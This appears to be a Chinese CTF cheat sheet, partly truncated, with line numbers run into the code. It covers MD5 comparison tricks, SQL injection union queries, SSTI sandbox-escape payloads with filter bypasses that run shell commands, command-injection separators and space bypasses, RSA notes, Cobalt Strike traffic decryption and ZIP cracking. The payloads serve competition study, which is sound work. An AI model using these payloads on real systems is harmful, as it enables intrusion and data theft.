md5
md5弱比较12345QNKCDZO240610708s878926199as155964671as21587387a
md5万能密码1ffifdyop
md5弱比较自身10e215962017
md5强类型比较12a[]=1&b[]=1ab名字据情况而定
md5字符强碰撞12a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6 ...
sql注入
关于sql注入查表1-1 union select 1,(select group_concat(table_name)from information_schema.tables where table_schema="web7"),3
获取字段1-1 union select 1,(select group_concat(column_name)from information_schema.columns where table_schema="web7" and table_name="flag"),3
获取flag1-1 union select 1,(select flag from flag),3
获取flag1231' union select 1,2,group_concat(id,username,password) from l0ve1ysq1%23&password=1MD5 不光有ffifdyop 还有 129581926211651571912466741651878684928 ...
SSTI
SSTI1得到shell后,如果没有找到flag,可以看看env也就是popen(env)
12开头"".__class__.__base__.__subclasses__()末尾开头''.__class__.__bases__[0].__subclasses__()末尾
在已知过滤的情况下,进行绕过构成
12开头()['__cla''ss__'].__bases__[0]['__subcl''asses__']()末尾['__in''it__'].__globals__['__bui''ltins__']['ev''al']("__im""port__('o''s').po""pen('cat /T*').read()")末尾 ...
文件格式
各种文件的标准头尾格式JPEG (jpg),文件头:FFD8FF
PNG (png),文件头:89504E47
GIF (gif),文件头:47494638
TIFF (tif),文件头:49492A00
Windows Bitmap (bmp),文件头:424D
CAD (dwg),文件头:41433130
Adobe Photoshop (psd),文件头:38425053
Rich Text Format (rtf),文件头:7B5C727466
XML (xml),文件头:3C3F786D6C
HTML (html),文件头:68746D6C3E
Email [thorough only] (eml),文件头:44656C69766572792D646174653A
Outlook Express (dbx),文件头:CFAD12FEC5FD746F
Outlook (pst),文件头:2142444E
MS Word/Excel (xls.or.doc),文件头:D0CF11E0
MS Access (mdb),文件头:5374616E64617264204A
WordPer ...
命令执行
php的include可以载入一个外部php文件,其参数是一个文件名,既然是文件名,就不能带参数了。
php中,如果include载入的文件一定要带参数,就只有一种办法,即这个参数是一个全路径的URL地址。
windows 下|直接执行后面的语句||如果前面命令是错的那么就执行后面的语句,否则只执行前面的语句&前面和后面命令都要执行,无论前面真假&&如果前面为假,后面的命令也不执行,如果前面为真则执行两条命令
Linux 下;前面和后面命令都要执行,无论前面真假|直接执行后面的语句||如果前面命令是错的那么就执行后面的语句,否则只执行前面的语句&前面和后面命令都要执行,无论前面真假&&如果前面为假,后面的命令也不执行,如果前面为真则执行两条命令
空格绕过1234567>` `<` `<>` 重定向符`%09`(需要php环境)`${IFS}``$IFS$9` //$1改成$加其他数字貌似都行`{cat,flag.php}` //用逗号实现了空格功能`%20``%09
执行代码 ...
RSA
RSA
RSA加密欧拉定理
若n为素数欧拉(n)=n-1;
e与欧拉(n)互质 公钥e,n 私钥d,n
M为明文,C为密文;
M^e mod n=C
C^d mod n =M
ed=1(mod欧拉(n))
d为模反元素计算公式,d=gmpy2.invert(e,(p-1)*(q-1))
n=p*q ,欧拉n=(p-1)*(q-1)
已知dp,dq,p,q,c
dp=d%(p-1)
dq=d%(q-1)
rsa解密详解以及脚本.rsa解密详解以及脚本;
gmpy2常见函数使用1.初始化大整数
123import gmpy2gmpy2.mpz(909090)result:mpz(909090)
2.求大整数a,b的最大公因数
123import gmpy2gmpy2.gcd(6,18)result:mpz(6)
3.求大整数x模m的逆元y
1234import gmpy2#4*6 ≡ 1 mod 23gmpy2.invert(4,23)result:mpz(6)
4.检验大整数是否为偶数
12345 ...
流量包解密
主要还是以题来讲解,主打一个做笔记。
SICTF 2023 round3一起上号不主要利用工具:1.Wireshark2.github脚本 (1)CS_Decrypt-main (ps)其中Beacon_metadata_RSA_Decrypt.py环境不好配置,导致得到key困难。 (2)cs-scripts-master3.为解决环境配置问题使用另一项脚本test.py(在文章下写出)
首先得到流量包分析得到key 使用cs-scripts-master将RSA密钥导出再从流量包中的load中把cookie导出把上面两个在Beacon_metadata_RSA_Decrypt.py解密得到AES key和HMCA key(M2Crypto的环境配置不好因此无法解决)修改解密脚本
12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273747576777 ...
zip压缩包取证
ZIP 破解伪加密原理在 ZIP 文件中,数据区与目录区中的 Flags 应该是相同的值。当数据区的标志位为加密标志,而目录区的标志位为非加密标志时,这个时候许多 ZIP 软件会将其识别为被加密,但实际上并不存在对应的密码。
破解只需要将数据区和目录区的标志位置为0即可。
弱密码爆破原理说白了就是用工具将各种符号和数字排列测试密码,通常用于6位数以下的密码。
破解一般来说推荐使用 ARCHPR 对 ZIP 压缩包进行暴力破解处理。一般是范围内枚举(例如纯数字或数字与字母的排列组合)或是使用专有的字典进行弱密码爆破。同时也可以使用 hashcat 和 bkcrack 对 ZIP 的密码进行破解。
CRC 碰撞原理当压缩文件内容较少或仅有部分明文未知时,可以采用 CRC 碰撞的方式去暴力破解明文(因为压缩包中保存的 CRC 校验值为压缩前内容的校验)。
破解可以使用 Python 脚本进行爆破,但下面的脚本仅是示例,如果有特别的需求(例如未知明文在已知明文中间段时)需要自行修改脚本。
12345678910111213141516171819202122import binasciiimp ...